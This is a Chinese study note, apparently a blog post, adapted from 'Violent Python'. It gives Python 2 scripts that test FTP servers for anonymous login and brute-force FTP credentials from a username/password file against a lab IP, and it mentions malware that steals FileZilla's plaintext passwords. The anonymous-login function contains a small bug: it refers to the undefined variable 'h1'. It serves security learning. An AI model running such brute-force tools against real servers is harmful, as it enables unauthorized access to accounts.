注:本篇文章为个人学习笔记仅供学习交流,请勿用于非法用途。
参考:《Python绝技:运用Python成为顶级黑客》。
前言:
从安全方面考虑,网站允许匿名FTP访问似乎是很疯狂的做法。然而,令人惊讶的是许多网站为此提供的正当理由却是:匿名FTP访问有助于网站访问软件更新。
在进行FTP密码暴力破解前,我们要先验证一下目标服务器是否允许FTP匿登录。
我们可以利用Python中的ftplib 库编写一个小脚本, 确定目标服务器是否允许匿名登录。anonLogin()函数接收的参数是一个主机名,并返回一个布尔值来描述该主机是不是提供匿名FTP 登录。具体的操作过程是,该函数尝试建立-一个匿名FTP连接。如果成功,则返回“true”。如果在建立连接的过程中函数抛出了一个异常,则返回“False”。
FTP扫描器
# coding=utf-8
import ftplib
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous', 'HackBG@123.com')
print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'
ftp.quit()
return True
except Exception, e:
print '\n[-] ' + str(h1) + ' FTP Anonymous Logon Failed.'
return False
hostname = '192.168.1.16' #目标主机IP
anonLogin(hostname)
结果
暴力破解:
虽然匿名访问是进入系统的方式之一,但攻击者也能成功地用偷来的用户名/密码访问合法的FTP服务器。FileZilla 之类的FTP客户端程序往往将密码以明文形式存储在配置文件中(Huang, 2011)。在默认位置中存储明文密码使得专门为此编写的恶意软件能够迅速窃取用户名密码。安全专家们在近期发现的恶意软件中也发现了窃取FTP密码的功能。更有甚者,HD Moore将一个名为get_filezilla _creds.rb 的脚本也集成在了新发布的Metasploit中,允许用户在获得目标控制权后可以快速寻找FTP密码。如果我们要暴力破解的某个用户名/密码对就在一个文本文件里会怎么样呢?为了演示我们的脚本,我们假设用户名/密码对是存储在一 个纯文本文件中的。
暴力破解FTP密码
# coding=utf-8
import ftplib
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
username = line.split(':')[0]
password = line.split(':')[1].strip('\r').strip('\n')
print '[+] Trying: ' + username + '/' + password
try:
ftp = ftplib.FTP(hostname)
ftp.login(username, password)
print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password
ftp.quit()
return (username, password)
except Exception, e:
pass
print '\n[-] Could not brubrute force FTP credentials.'
return (None, None)
host = '192.168.1.16' #目标IP
passwdFile = r'/home/kali/桌面/a.txt' #密码字典
bruteLogin(host, passwdFile)
测试结果
微信公众号:黑客帮